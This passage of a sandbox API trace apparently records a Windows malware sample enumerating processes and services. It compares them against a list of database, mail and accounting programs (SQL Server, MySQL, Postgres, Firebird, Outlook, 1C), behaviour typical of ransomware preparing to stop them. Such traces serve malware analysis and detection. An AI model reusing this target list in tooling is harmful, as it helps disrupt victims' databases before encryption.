lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0199.226] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0199.226] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0199.226] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0199.226] lstrlenW (lpString="winlogon.exe") returned 12 [0199.226] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0199.227] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0199.227] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0199.227] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0199.227] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0199.227] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0199.227] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0199.227] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0199.228] lstrlenW (lpString="services.exe") returned 12 [0199.228] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0199.228] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0199.228] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0199.228] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0199.228] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0199.229] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0199.229] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0199.229] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0199.230] lstrlenW (lpString="lsass.exe") returned 9 [0199.230] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0199.230] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0199.230] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0199.230] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0199.230] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0199.230] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0199.230] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0199.230] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0199.231] lstrlenW (lpString="lsm.exe") returned 7 [0199.231] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0199.231] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0199.231] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0199.231] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0199.231] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0199.232] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0199.232] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0199.232] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.233] lstrlenW (lpString="svchost.exe") returned 11 [0199.233] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0199.233] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0199.233] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0199.233] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0199.233] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0199.233] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0199.233] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0199.233] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.234] lstrlenW (lpString="svchost.exe") returned 11 [0199.234] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0199.235] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0199.235] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0199.235] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0199.235] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0199.235] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0199.235] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0199.235] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.236] lstrlenW (lpString="svchost.exe") returned 11 [0199.236] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0199.236] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0199.236] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0199.236] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0199.621] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0199.622] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0199.622] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0199.622] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.623] lstrlenW (lpString="svchost.exe") returned 11 [0199.623] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0199.623] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0199.623] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0199.623] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0199.623] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0199.623] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0199.623] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0199.623] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.624] lstrlenW (lpString="svchost.exe") returned 11 [0199.624] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0199.624] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0199.624] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0199.624] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0199.624] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0199.624] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0199.625] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0199.625] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0199.625] lstrlenW (lpString="audiodg.exe") returned 11 [0199.626] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0199.626] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0199.626] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0199.626] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0199.626] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0199.626] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0199.626] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0199.626] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.628] lstrlenW (lpString="svchost.exe") returned 11 [0199.628] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0199.628] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0199.628] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0199.628] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0199.628] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0199.628] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0199.628] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0199.628] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0199.629] lstrlenW (lpString="userinit.exe") returned 12 [0199.629] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0199.629] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0199.629] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0199.629] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0199.629] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0199.629] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0199.630] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0199.630] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0199.631] lstrlenW (lpString="explorer.exe") returned 12 [0199.631] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0199.631] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0199.631] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0199.631] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0199.631] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0199.631] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0199.632] lstrlenW (lpString="dwm.exe") returned 7 [0199.632] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.633] lstrlenW (lpString="svchost.exe") returned 11 [0199.633] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="runonce.exe")) returned 1 [0199.635] lstrlenW (lpString="runonce.exe") returned 11 [0199.635] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0199.636] lstrlenW (lpString="winhost.exe") returned 11 [0199.636] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0199.637] lstrlenW (lpString="spoolsv.exe") returned 11 [0199.637] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0199.638] lstrlenW (lpString="dllhost.exe") returned 11 [0199.638] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.639] lstrlenW (lpString="svchost.exe") returned 11 [0199.639] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0199.640] lstrlenW (lpString="taskhost.exe") returned 12 [0199.640] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0199.641] lstrlenW (lpString="cmd.exe") returned 7 [0199.641] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0199.642] lstrlenW (lpString="reader_sl.exe") returned 13 [0199.642] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0199.646] lstrlenW (lpString="AdobeARM.exe") returned 12 [0199.646] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 0 [0199.647] CloseHandle (hObject=0x124) returned 1 [0199.647] Sleep (dwMilliseconds=0x1f4) [0200.737] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5c5d08 [0202.545] EnumServicesStatusExW (in: hSCManager=0x5c5d08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0202.978] GetLastError () returned 0xea [0202.978] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa08) returned 0x630138 [0202.978] EnumServicesStatusExW (in: hSCManager=0x5c5d08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x630138, cbBufSize=0xa08, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x630138, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0202.987] CloseServiceHandle (hSCObject=0x5c5d08) returned 1 [0202.991] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0202.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0202.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0202.992] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0202.992] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0202.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0202.992] lstrlenW (lpString="AudioSrv") returned 8 [0202.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0202.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0202.992] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0202.992] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0202.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0202.992] lstrlenW (lpString="BFE") returned 3 [0202.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0202.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0202.993] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0202.993] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0202.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0202.993] lstrlenW (lpString="CscService") returned 10 [0202.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0202.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0202.993] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0202.993] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0202.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0202.993] lstrlenW (lpString="DcomLaunch") returned 10 [0202.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0202.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0202.994] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0202.994] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0202.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0202.994] lstrlenW (lpString="Dhcp") returned 4 [0202.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0202.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0202.994] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0202.994] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0202.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0202.994] lstrlenW (lpString="Dnscache") returned 8 [0202.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0202.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0202.994] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0202.995] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0202.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0202.995] lstrlenW (lpString="eventlog") returned 8 [0202.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0202.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0202.995] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0202.995] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0202.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0202.995] lstrlenW (lpString="EventSystem") returned 11 [0202.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0202.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0202.995] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0202.996] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0202.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0202.996] lstrlenW (lpString="gpsvc") returned 5 [0202.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0202.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0202.997] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0202.997] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0202.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0202.997] lstrlenW (lpString="lmhosts") returned 7 [0202.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0202.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0202.998] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0202.998] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0202.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0202.998] lstrlenW (lpString="MMCSS") returned 5 [0202.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0202.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0202.998] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0202.998] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0202.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0202.998] lstrlenW (lpString="nsi") returned 3 [0202.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0202.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0202.998] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0202.999] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0202.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0202.999] lstrlenW (lpString="PlugPlay") returned 8 [0202.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0202.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0202.999] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0202.999] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0202.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0202.999] lstrlenW (lpString="Power") returned 5 [0202.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0202.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0202.999] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0203.000] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0203.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0203.000] lstrlenW (lpString="ProfSvc") returned 7 [0203.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0203.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0203.000] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0203.000] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0203.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0203.000] lstrlenW (lpString="RpcEptMapper") returned 12 [0203.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0203.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0203.000] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0203.000] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0203.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0203.001] lstrlenW (lpString="RpcSs") returned 5 [0203.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0203.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0203.001] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0203.001] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0203.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0203.001] lstrlenW (lpString="SamSs") returned 5 [0203.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0203.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0203.001] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0203.001] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0203.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0203.001] 